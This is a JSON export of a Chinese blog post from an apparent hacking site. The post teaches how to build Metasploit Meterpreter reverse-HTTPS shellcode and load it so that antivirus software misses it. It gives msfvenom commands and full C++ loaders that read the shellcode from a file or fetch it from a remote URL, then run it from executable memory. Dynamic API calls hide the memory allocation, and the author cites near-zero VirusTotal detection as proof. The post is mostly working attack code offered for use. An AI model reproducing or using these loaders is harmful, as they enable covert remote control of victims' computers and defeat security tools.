{"id":152,"date":"2025-04-10T20:57:24","date_gmt":"2025-04-10T12:57:24","guid":{"rendered":"https:\/\/hacking777.lol\/?p=152"},"modified":"2025-04-10T20:57:31","modified_gmt":"2025-04-10T12:57:31","slug":"shellcode","status":"publish","type":"post","link":"https:\/\/hacking777.lol\/en\/2025\/04\/10\/shellcode\/","title":{"rendered":"shellcode\u514d\u6740\u8fdc\u63a7\u4e4bShellcode\u5206\u79bb\u52a0\u8f7d\u5b9e\u73b0\u514d\u6740\u7684\u4e24\u79cd\u65b9\u5f0f"},"content":{"rendered":"<h1 class=\"wp-block-heading\" id=\"\u7b80\u4ecb\">\u7b80\u4ecb<\/h1>\n\n\n\n<p>\u672c\u6587\u8be6\u7ec6\u4ecb\u7ecd\u4e86\u5982\u4f55\u901a\u8fc7\u6587\u4ef6\u52a0\u8f7d\u548c\u8fdc\u7a0bURL\u52a0\u8f7d\u65b9\u5f0f\u5b9e\u73b0Shellcode\u5206\u79bb\u52a0\u8f7d\uff0c\u4ee5\u89c4\u907f\u5b89\u5168\u8f6f\u4ef6\u7684\u68c0\u6d4b\u3002\u6587\u7ae0\u9996\u5148\u63cf\u8ff0\u4e86\u901a\u8fc7Metasploit Framework\u751f\u6210\u7684shellcode\u6587\u4ef6\u52a0\u8f7d\u7684\u8fc7\u7a0b\uff0c\u5e76\u63d0\u4f9b\u4e86\u76f8\u5173\u7684C++\u4ee3\u7801\u3002<\/p>\n\n\n\n<p>\u4e3a\u4e86\u907f\u514d\u88ab\u6740\u6bd2\u8f6f\u4ef6\u68c0\u6d4b\uff0c\u5229\u7528\u52a8\u6001API\u8c03\u7528\u548clazy_importer\u9879\u76ee\u8fdb\u884c\u4ee3\u7801\u4f18\u5316\u3002\u5176\u6b21\uff0c\u6587\u7ae0\u8ba8\u8bba\u4e86\u5982\u4f55\u901a\u8fc7\u8fdc\u7a0bURL\u52a0\u8f7dshellcode\uff0c\u4e5f\u63d0\u4f9b\u4e86\u76f8\u5e94\u7684\u5b9e\u73b0\u4ee3\u7801\u3002\u6574\u7bc7\u6587\u7ae0\u65e8\u5728\u5e2e\u52a9\u8bfb\u8005\u7406\u89e3shellcode\u5206\u79bb\u52a0\u8f7d\u7684\u5177\u4f53\u5b9e\u73b0\u8fc7\u7a0b\u548c\u539f\u7406\uff0c\u540c\u65f6\u901a\u8fc7\u5b9e\u8df5\u64cd\u4f5c\u589e\u5f3a\u5bf9\u8fd9\u4e00\u6280\u672f\u7684\u638c\u63e1\u7a0b\u5ea6<\/p>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"\u4e00\u901a\u8fc7\u6587\u4ef6\u52a0\u8f7d\">\u4e00\u3001\u901a\u8fc7\u6587\u4ef6\u52a0\u8f7d<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"msf\u751f\u6210shellcode\u6587\u4ef6\">msf\u751f\u6210shellcode\u6587\u4ef6<\/h2>\n\n\n\n<p>\u4f7f\u7528<code>msfvenom<\/code>\u751f\u6210raw\u683c\u5f0f\u7684\u6587\u672c\u6587\u4ef6, \u4f46\u662fraw\u683c\u5f0f\u7684\u6587\u672c\u6587\u4ef6\u5f88\u5bb9\u6613\u5c31\u4f1a\u88ab\u6740\u8f6f\u67e5\u6740\uff0c\u4e3a\u4e86\u9632\u6b62\u901a\u8baf\u7279\u5f81\u88ab\u68c0\u6d4b\u5230\uff0c\u6b64\u5904\u6211\u8fd8\u505a\u4e86msf\u6d41\u91cf\u52a0\u5bc6\uff0c\u6b64\u5904\u82e5\u60f3\u4e86\u89e3msf\u6d41\u91cf\u52a0\u5bc6\u7684\u670b\u53cb\u53ef\u4ee5\u53bb\u770b\u8fd9\u7bc7\u6587\u7ae0\uff1aMSF\u6d41\u91cf\u52a0\u5bc6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p windows\/x64\/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f raw -o shellcode_raw.txt\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img alt=\"\" loading=\"lazy\" decoding=\"async\" width=\"1010\" height=\"308\" src=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/11113567.png\" class=\"wp-image-155\" srcset=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/11113567.png 1010w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/11113567-300x91.png 300w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/11113567-768x234.png 768w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/11113567-18x5.png 18w\" sizes=\"auto, (max-width: 1010px) 100vw, 1010px\" \/><\/figure>\n\n\n\n<p>\u4e3a\u4e86\u4e0d\u88ab\u6740\u8f6f\u67e5\u6740\uff0c\u5e76\u5c06\u5176\u4fdd\u5b58\u4e3a\u5341\u516d\u8fdb\u5236\u683c\u5f0f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p windows\/x64\/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f hex -o shellcode_hex.txt\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u4ee3\u7801\u5b9e\u73b0\">\u4ee3\u7801\u5b9e\u73b0<\/h2>\n\n\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u7684\u4f5c\u7528\u662f\u4ece\u4e00\u4e2a\u4ee5\u5341\u516d\u8fdb\u5236\u8868\u793a\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6shellcode\uff0c\u7136\u540e\u5c06\u5176\u52a0\u8f7d\u5230\u5185\u5b58\u4e2d\uff0c\u5e76\u6267\u884c\u8be5shellcode<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;windows.h>\n#include &lt;iostream>\n#include &lt;fstream>\n#include &lt;sstream>\nusing namespace std;\n\n\/\/ \u5c06\u5341\u516d\u8fdb\u5236\u4e2d\u7684\u5355\u4e2a\u5b57\u7b26\u8f6c\u6362\u4e3a\u76f8\u5e94\u7684\u6574\u6570\u503c\nunsigned char hexCharToByte(char character) {\n    if (character >= '0' &amp;&amp; character &lt;= '9') {\n        return character - '0';\n    }\n    if (character >= 'a' &amp;&amp; character &lt;= 'f') {\n        return character - 'a' + 10;\n    }\n    if (character >= 'A' &amp;&amp; character &lt;= 'F') {\n        return character - 'A' + 10;\n    }\n    return 0;\n}\n\n\/\/ \u5c06\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u8f6c\u6362\u6210\u5b57\u8282\u578b\u6570\u7ec4\nvoid hexStringToBytes(const std::string&amp; hexString, unsigned char* byteArray, int byteArraySize) {\n    for (int i = 0; i &lt; hexString.length(); i += 2) {\n        byteArray&#91;i \/ 2] = hexCharToByte(hexString&#91;i]) * 16 + hexCharToByte(hexString&#91;i + 1]);\n    }\n}\n\n\nint main()\n{   \n\n    std::ifstream file(\"shellcode_hex.txt\");  \/\/\u6253\u5f00\u6307\u5b9a\u6587\u4ef6\n    \n    size_t size;  \/\/\u5b9a\u4e49\u6587\u4ef6\u5185\u5bb9\u7684\u5b57\u8282\u6570\n    string contents; \/\/\u5b9a\u4e49\u6587\u4ef6\u5185\u5bb9\n    \n    \/\/\u5224\u65ad\u6587\u4ef6\u662f\u5426\u6253\u5f00\u6210\u529f\n    if (file.is_open()) {\n        std::stringstream buffer; \/\/\u521b\u5efa\u4e00\u4e2astringstream\u5bf9\u8c61\n        buffer &lt;&lt; file.rdbuf();  \/\/\u5c06\u6587\u4ef6\u7684\u5185\u5bb9\u590d\u5236\u5230\u8be5\u6d41\u4e2d\n        contents = buffer.str();  \/\/\u5c06stringstream\u5bf9\u8c61\u7684\u5185\u5bb9\u8f6c\u6362string,\u5e76\u5c06\u5176\u5b58\u50a8\u5728contents\u4e2d\n\n        size = contents.length()\/2;  \/\/\u7531\u4e8e\u4e24\u4e2a\u5341\u516d\u8fdb\u5236\u76f8\u5f53\u4e8e\u4e00\u4e2a\u5b57\u8282,\u56e0\u6b64\u6587\u4ef6\u5185\u5bb9\u957f\u5ea6\u9700\u9664\u4ee52\n        file.close();  \/\/\u5173\u95ed\u6587\u4ef6\n    }\n    \n    \/\/printf(\"%d\\n\", size); \n    \/\/cout &lt;&lt; contents;\n\n\n    \/\/ \u4e3a\u5b58\u50a8\u8f6c\u6362\u540e\u7684shellcode\u5206\u914d\u5185\u5b58\n    unsigned char* buffer = (unsigned char*)malloc(size);\n    \n    \/\/ \u8c03\u7528\u51fd\u6570\u5c06\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5b57\u8282\u578b\u6570\u7ec4\n    hexStringToBytes(contents, buffer, size);\n\n    \/\/ \u5728\u5185\u5b58\u4e2d\u5206\u914d\u4e00\u5757\u53ef\u4ee5\u6267\u884c\u7684\u533a\u57df\n    void* exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n    \n    \/\/ \u5c06shellcode\u590d\u5236\u5230\u8be5\u533a\u57df\n    memcpy(exec, buffer, size);\n    \n    \/\/ \u6267\u884c\u8be5shellcode\n    ((void(*) ())exec)();\n}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u4ee3\u7801\u4f18\u5316\">\u4ee3\u7801\u4f18\u5316<\/h2>\n\n\n\n<p>\u706b\u7ed2\u548cWindowsDefender\u90fd\u62a5\u6bd2\u4e86, \u5176\u539f\u56e0\u662f\u5185\u5b58\u7533\u8bf7\u51fd\u6570<code>VirtualAlloc<\/code>\u88ab\u68c0\u6d4b\u5230\u4e86\uff0c\u90a3\u5c31\u4f7f\u7528\u52a8\u6001\u8c03\u7528api\u6765\u7ed5\u8fc7\u68c0\u6d4b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img alt=\"\" loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"348\" src=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/2220495694-1024x348.png\" class=\"wp-image-157\" srcset=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/2220495694-1024x348.png 1024w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/2220495694-300x102.png 300w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/2220495694-768x261.png 768w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/2220495694-18x6.png 18w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/2220495694.png 1084w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u5bfc\u5165<code>lazy_importer<\/code>\u9879\u76ee\u6765\u52a8\u6001\u8c03\u7528\u7cfb\u7edfapi, \u7136\u540e\u5728api\u51fd\u6570\u524d\u9762\u6dfb\u52a0\u4e0a<code>(LI_FN)<\/code>\uff0c\u5e76\u5c06\u51fd\u6570\u53c2\u6570\u7684<code>NULL<\/code>\u66ff\u6362\u6210<code>nullptr<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img alt=\"\" loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"335\" src=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/333705069-1024x335.png\" class=\"wp-image-158\" srcset=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/333705069-1024x335.png 1024w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/333705069-300x98.png 300w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/333705069-768x251.png 768w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/333705069-1536x503.png 1536w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/333705069-18x6.png 18w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/333705069.png 1897w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>\u4fee\u6539\u5b8c\u4ee3\u7801\u540e360\u4e0d\u4f1a\u62a5\u6bd2\u4e86, \u4e0a\u4f20\u5230virus Total\u4e2d\u7684\u8fdb\u884c\u68c0\u6d4b\uff0c\u67e5\u6740\u7387\u4e3a2\/70\uff0c\u6548\u679c\u8fd8\u4e0d\u9519<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img alt=\"\" loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"397\" src=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/44446904-1024x397.png\" class=\"wp-image-159\" srcset=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/44446904-1024x397.png 1024w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/44446904-300x116.png 300w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/44446904-768x298.png 768w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/44446904-18x7.png 18w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/44446904-1280x497.png 1280w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/44446904.png 1283w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img alt=\"\" loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"411\" src=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/5555208376-1024x411.png\" class=\"wp-image-160\" srcset=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/5555208376-1024x411.png 1024w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/5555208376-300x121.png 300w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/5555208376-768x309.png 768w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/5555208376-1536x617.png 1536w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/5555208376-18x7.png 18w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/5555208376.png 1735w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\" id=\"\u4e8c\u901a\u8fc7\u8fdc\u7a0burl\u52a0\u8f7d\">\u4e8c\u3001\u901a\u8fc7\u8fdc\u7a0burl\u52a0\u8f7d<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"http\u670d\u52a1\u76ee\u5f55\u653e\u7f6eshellcode\u6587\u4ef6\">http\u670d\u52a1\u76ee\u5f55\u653e\u7f6eshellcode\u6587\u4ef6<\/h2>\n\n\n\n<p>\u53e6\u4e00\u79cdshellcode\u5206\u79bb\u52a0\u8f7d\u7684\u65b9\u6cd5\u662f\u901a\u8fc7\u8fdc\u7a0bURL\u52a0\u8f7d\u3002\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u5728HTTP\u670d\u52a1\u76ee\u5f55\u653e\u7f6eshellcode\u6587\u4ef6\uff0c\u7136\u540e\u542f\u7528HTTP\u670d\u52a1\uff1a<code>python -m http.server 8000<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img alt=\"\" loading=\"lazy\" decoding=\"async\" width=\"993\" height=\"336\" src=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/66625305670.png\" class=\"wp-image-161\" srcset=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/66625305670.png 993w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/66625305670-300x102.png 300w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/66625305670-768x260.png 768w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/66625305670-18x6.png 18w\" sizes=\"auto, (max-width: 993px) 100vw, 993px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"\u4ee3\u7801\u5b9e\u73b0-1\">\u4ee3\u7801\u5b9e\u73b0<\/h2>\n\n\n\n<p>\u57fa\u4e8e\u4e0a\u8ff0\u4ee3\u7801\u7684\u57fa\u7840\u4e0a\uff0c\u6dfb\u52a0\u4e86<code>GetUrl_HexContent<\/code>\u51fd\u6570\uff0c\u5176\u4f5c\u7528\u662f\u4ece\u6307\u5b9aurl\u4e0b\u8f7d\u5185\u5bb9\u5e76\u5c06\u5176\u5b58\u50a8\u5728\u7ed9\u5b9a\u7684\u7f13\u51b2\u533a\u4e2d\uff0c\u968f\u540e\u52a0\u8f7d\u81f3\u5185\u5b58<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#include &lt;windows.h>\n#include &lt;wininet.h>\n#pragma comment(lib, \"wininet.lib\")\n#include &lt;iostream>\n#include &lt;fstream>\n#include &lt;sstream>\n#include &lt;vector>\n#include \"lazy_importer.hpp\"\n\nusing namespace std;\n\n\n\/\/ \u5c06\u5341\u516d\u8fdb\u5236\u4e2d\u7684\u5355\u4e2a\u5b57\u7b26\u8f6c\u6362\u4e3a\u76f8\u5e94\u7684\u6574\u6570\u503c\nunsigned char hexCharToByte(char character) {\n    if (character >= '0' &amp;&amp; character &lt;= '9') {\n        return character - '0';\n    }\n    if (character >= 'a' &amp;&amp; character &lt;= 'f') {\n        return character - 'a' + 10;\n    }\n    if (character >= 'A' &amp;&amp; character &lt;= 'F') {\n        return character - 'A' + 10;\n    }\n    return 0;\n}\n\n\/\/ \u5c06\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u8f6c\u6362\u6210\u5b57\u8282\u578b\u6570\u7ec4\nvoid hexStringToBytes(const std::string&amp; hexString, unsigned char* byteArray, int byteArraySize) {\n    for (int i = 0; i &lt; hexString.length(); i += 2) {\n        byteArray&#91;i \/ 2] = hexCharToByte(hexString&#91;i]) * 16 + hexCharToByte(hexString&#91;i + 1]);\n    }\n}\n\n\/**\n * \u4ece\u6307\u5b9a\u7684URL\u4e0b\u8f7d\u5185\u5bb9\u5e76\u5c06\u5176\u5b58\u50a8\u5230\u7ed9\u5b9a\u7684\u7f13\u51b2\u533a\u4e2d\u3002\n *\n * @param url \u8981\u4e0b\u8f7d\u7684URL\n * @param buffer \u5b58\u50a8\u4e0b\u8f7d\u5185\u5bb9\u7684\u7f13\u51b2\u533a\n * @return \u4e0b\u8f7d\u7684\u5b57\u8282\u6570\uff08\u6ce8\u610f\uff1a\u5b57\u8282\u6570\u662f\u539f\u59cb\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u957f\u5ea6\u7684\u4e00\u534a\uff09\n *\/\nsize_t GetUrl_HexContent(LPSTR url, std::vector&lt;unsigned char>&amp; buffer) {\n    HINTERNET hInternet, hConnect;\n    DWORD bytesRead;\n    DWORD bufferSize = 0;\n    DWORD contentLength = 0;\n    DWORD index = 0;\n    DWORD bufferLength = sizeof(bufferSize);\n\n    \/\/ \u6253\u5f00\u4e00\u4e2a\u4e0e\u4e92\u8054\u7f51\u7684\u8fde\u63a5\n    hInternet = InternetOpen(L\"User Agent\", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);\n    if (hInternet == NULL) {\n        std::cerr &lt;&lt; \"InternetOpen failed. Error: \" &lt;&lt; GetLastError() &lt;&lt; std::endl;\n        return 0;\n    }\n\n    \/\/ \u6253\u5f00\u4e00\u4e2aURL\u8fde\u63a5\n    hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);\n    if (hConnect == NULL) {\n        std::cerr &lt;&lt; \"InternetOpenUrlA failed. Error: \" &lt;&lt; GetLastError() &lt;&lt; std::endl;\n        InternetCloseHandle(hInternet);\n        return 0;\n    }\n\n    \/\/ \u67e5\u8be2HTTP\u54cd\u5e94\u5934\u4e2d\u7684\u5185\u5bb9\u957f\u5ea6\n    HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &amp;contentLength, &amp;bufferLength, &amp;index);\n    std::vector&lt;char> hexBuffer(contentLength + 1, 0);\n\n    \/\/ \u8bfb\u53d6URL\u8fd4\u56de\u7684\u5185\u5bb9\u5230hexBuffer\u4e2d\n    if (!InternetReadFile(hConnect, &amp;hexBuffer&#91;0], contentLength, &amp;bytesRead)) {\n        std::cerr &lt;&lt; \"InternetReadFile failed. Error: \" &lt;&lt; GetLastError() &lt;&lt; std::endl;\n    }\n    else if (bytesRead > 0) {\n        hexBuffer&#91;bytesRead] = '\\0';\n        \/\/ \u8c03\u6574buffer\u7684\u5927\u5c0f\uff0c\u4ee5\u4fbf\u5b58\u50a8\u8f6c\u6362\u540e\u7684\u5b57\u8282\u6570\u636e\n        buffer.resize(bytesRead \/ 2);\n        \/\/ \u5c06\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5b57\u8282\u578b\u6570\u7ec4\n        hexStringToBytes(&amp;hexBuffer&#91;0], &amp;buffer&#91;0], bytesRead \/ 2);\n    }\n\n    \/\/ \u5173\u95ed\u8fde\u63a5\n    InternetCloseHandle(hConnect);\n    InternetCloseHandle(hInternet);\n\n    \/\/ \u8fd4\u56de\u8bfb\u53d6\u5230\u7684\u5b57\u8282\u6570\uff08\u6ce8\u610f\uff1a\u5b57\u8282\u6570\u662f\u539f\u59cb\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\u957f\u5ea6\u7684\u4e00\u534a\uff09\n    return bytesRead \/ 2;\n}\n\n\nint main() {\n    \/\/ \u628a\u8fd9\u4e2aURL\u6362\u6210\u4f60\u7684shellcode\u6587\u4ef6\u7684URL\n    LPSTR url = (char*)\"http:\/\/127.0.0.1:8000\/shellcode_hex.txt\"; \n    \n    \/\/\u5b58\u653e\u6076\u610f\u4ee3\u7801\u7684\u6570\u7ec4\n    std::vector&lt;unsigned char> buffer;\n\n    \/\/\u83b7\u53d6\u8fdc\u7a0burl\u768416\u8fdb\u5236\u5185\u5bb9,\u5e76\u5c06\u5176\u5b58\u653e\u81f3buffer\u6570\u7ec4\n    size_t size = GetUrl_HexContent(url, buffer);\n\n    \/\/ \u5728\u5185\u5b58\u4e2d\u5206\u914d\u4e00\u5757\u53ef\u4ee5\u6267\u884c\u7684\u533a\u57df\n    char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);\n\n    \/\/ \u5c06shellcode\u590d\u5236\u5230\u8be5\u533a\u57df\n    memcpy(exec, buffer.data(), size);\n\n    \/\/ \u6267\u884c\u8be5shellcode\n    ((void(*) ())exec)();\n\n    \/\/ \u6253\u5370buffer\u7684\u5185\u5bb9\uff0c\u53ea\u4e3a\u6f14\u793a\uff0c\u5b9e\u9645\u4f7f\u7528\u4e2d\u53ef\u80fd\u5e76\u4e0d\u9700\u8981\u8fd9\u4e00\u6b65\n    \/*for (size_t i = 0; i &lt; buffer.size(); i++) {\n        printf(\"%02X \", buffer&#91;i]);\n        if ((i + 1) % 16 == 0) {\n            printf(\"\\n\");\n        }\n    }*\/\n\n    return 0;\n}<\/code><\/pre>\n\n\n\n<p>VirusTotal\u68c0\u6d4b\u53ea\u6709\u4e00\u4e2a\u62a5\u6bd2<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img alt=\"\" loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" src=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/7778454-1-1024x538.png\" class=\"wp-image-162\" srcset=\"https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/7778454-1-1024x538.png 1024w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/7778454-1-300x158.png 300w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/7778454-1-768x403.png 768w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/7778454-1-1536x807.png 1536w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/7778454-1-18x9.png 18w, https:\/\/hacking777.lol\/wp-content\/uploads\/2025\/04\/7778454-1.png 1695w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>\u7b80\u4ecb \u672c\u6587\u8be6\u7ec6\u4ecb\u7ecd\u4e86\u5982\u4f55\u901a\u8fc7\u6587\u4ef6\u52a0\u8f7d\u548c\u8fdc\u7a0bURL\u52a0\u8f7d\u65b9\u5f0f\u5b9e\u73b0Shellcode\u5206\u79bb\u52a0\u8f7d\uff0c\u4ee5\u89c4\u907f\u5b89\u5168\u8f6f\u4ef6\u7684\u68c0\u6d4b\u3002 [&hellip;]<\/p>","protected":false},"author":1,"featured_media":110,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"%%post_title%% %%sep%% %%post_url%%","_seopress_titles_desc":"%%post_excerpt%% %%sitetitle%% %%sep%% %%post_date%% %%post_url%%","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[309,177,178,179,180,176,273,274,275,276,277,278,279,280,281,181,182,304,303,306,305,308,307,183,184,282,185,186,187,188,283,284,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,285,211,212,213,286,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,287,288,289,230,231,232,233,234,235,290,236,237,238,239,240,241,242,74,75,76,77,78,79,243,244,245,246,291,292,293,247,248,249,296,295,294,297,250,251,252,253,254,298,299,255,256,257,258,259,133,260,261,262,263,300,264,265,266,267,268,269,270,271,272,301],"class_list":["post-152","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-hackings","tag-badusb","tag-dsfhdsh","tag-iluihngh","tag-ddos","tag-ddosdfsg","tag-hackerfdsg","tag-hackerngf","tag-hackingnyhty","tag-hackingrete","tag-hackewtwe","tag-hackewtw","tag-hackwetew","tag-hackwetewt","tag-hackrtuyh","tag-hackgjf","tag-ipnytru","tag-iptuij","tag-htrhdg","tag-yulhgjghj","tag-iuytuhgf","tag-juyoyjhj","tag-iuyotj","tag-khghnbv","tag-ntpytg","tag-ntprtb","tag-qqkhn","tag-mjhgf","tag-fgdkjfhg","tag-hthdfg","tag-hgfjert","tag-hntyrujertg","tag-saaswegftg","tag-gregcv","tag-gthbfdv","tag-gtyjhngfb","tag-nytjtryb","tag-rehergf","tag-etergr","tag-rhegfvdf","tag-ewytwfwef","tag-t5gedgfd","tag-wetewf","tag-trgdfgsd","tag-t4tesfds","tag-wetewfsd","tag-qwtvdscvsd","tag-gtrhgdb","tag-dshcsd","tag-gtbcdxv","tag-vtgvsdvc","tag-vtbvxvc","tag-gtvbdv","tag-bynbdvdv","tag-defsax","tag-gregwefdv","tag-qwewq","tag-qweqwfsd","tag-qweqwdsad","tag-qwewqfxc","tag-wqrfqwafsad","tag-etgewfvdsf","tag-qwewqfcsad","tag-tewgfdgv","tag-y65hdfgbh","tag-ewtwgv","tag-gtbfdv","tag-tyhfdvh","tag-hytbfdv","tag-frvxcv","tag-gtgbdv","tag-werweds","tag-gtgdfv","tag-ewtewf","tag-gtfdg","tag-hgyhgn","tag-yunrtb","tag-ryrevg","tag-hyujgh","tag-gthgrdfg","tag-gtyhgedgf","tag-yhgregg","tag-greyg","tag-asdfasdg","tag-gtgag","tag-gtsagfd","tag-tsgfdg","tag-tyhagf","tag-thgaehdh","tag-huyzadfgf","tag-gyhsag","tag-yhyjsdyh","tag-hyjuydgf","tag-qwrqcfasf","tag-fghnbv","tag-asdsadsadw","tag-bvghgfdf","tag-dsfghvc","tag-nbhtdssd","tag-ysgh","tag-hyhsgb","tag-htrhgsfh","tag-uertayag","tag-ryewyb","tag-hyhsfg","tag-yusgh","tag-uyush","tag-uytresag","tag-ytreywfg","tag-utyurgh","tag-utryfgh","tag-trewygf","tag-ytrywhg","tag-turhg","tag-ryewgf","tag-erywgfg","tag-reywgfg","tag-hytrhster","tag-hybs","tag-rewtygf","tag-reywbfg","tag-hgfdvdfg","tag-reygfg","tag-rewyfgd","tag-erywfgdg","tag-qweasfdasg","tag-dsfhdv","tag-asdgasdg","tag-gjfut","tag-trghfdu","tag-retefgd","tag-qwrewf","tag-qweythgb","tag-werf","tag-qwerd","tag-wqerds","tag-rhfvg","tag-wetdgfd","tag-qwerqwsd","tag-teyrg","tag-hyjtg"],"_links":{"self":[{"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/posts\/152","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/comments?post=152"}],"version-history":[{"count":1,"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/posts\/152\/revisions"}],"predecessor-version":[{"id":163,"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/posts\/152\/revisions\/163"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/media\/110"}],"wp:attachment":[{"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/media?parent=152"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hacking777.lol\/en\/wp-json\/wp\/v2\/categories?post=152"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hacking777.lol\/en\